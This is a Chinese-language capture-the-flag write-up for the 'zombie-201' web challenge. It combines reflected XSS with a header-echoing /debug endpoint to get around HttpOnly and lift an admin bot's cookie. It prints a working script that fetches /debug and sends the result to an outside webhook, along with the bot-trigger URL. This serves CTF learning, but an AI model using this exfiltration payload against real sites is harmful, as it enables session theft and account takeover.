zombie-201 (Web)的详细wp

JLing 2026-05-28 18:32:55 6 0


zombie-201 (Web)

题目信息

考点

  • XSS(输入反射,无过滤)
  • HttpOnly cookie 绕过
  • /debug端点泄露请求头(含 cookie)
  • Zombie.js headless browser bot

解题过程

1. 信息收集

GET / → 静态首页,两个表单:
  - /zombie?show= → 反射输入(XSS)
  - /visit?url= → admin bot 访问 URL(限 hostname=49.232.142.230)
  • Express 服务器,Content-Type: text/html
  • Admin bot:Zombie.js/6.1.4

2. 发现 /debug 端点

curl -s http://49.232.142.230:10423/debug
# 返回: {"remote-ip":"...","host":"...","user-agent":"...","accept":"*/*"}

回显请求头信息,当 admin bot 访问时会包含cookie字段。

3. XSS + /debug 组合攻击

Payload(通过/zombie?show=注入):

<script>
fetch("/debug")
  .then(r => r.text())
  .then(t => fetch("https://webhook.site/<UUID>?dbg=" + encodeURIComponent(t)))
</script>

通过/visit触发 admin bot

/visit?url=http://49.232.142.230:10423/zombie?show=<XSS_PAYLOAD>

(需要双重 URL 编码)

4. Webhook 接收 Flag

Admin bot 访问/debug时携带 cookie,响应包含:

{
  "remote-ip": "::ffff:49.232.142.230",
  "user-agent": "Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4",
  "host": "49.232.142.230:10423",
  "cookie": "flag=wctf{h1dd3n-c00k135-d1d-n07-h31p-373964}",
  "connection": "keep-alive"
}

关键技巧

  1. HttpOnly 绕过document.cookie读不到 → 找服务端泄露点(/debug回显请求头)
  2. 编码注意:XSS payload 经/zombie反射 →/visitURL 参数,需双重 URL 编码
  3. Exfil 方式encodeURIComponent()编码响应内容,通过fetch()发送到 webhook
  4. webhook 限流:同一 webhook 多次请求可能被限流,备多个 webhook 或用新 token
分类:WEB
image
作者:JLing

10

提交

0

收入

相关WriteUP

  • cookiehead

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 2年前
  • SQL注入.2

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
问题反馈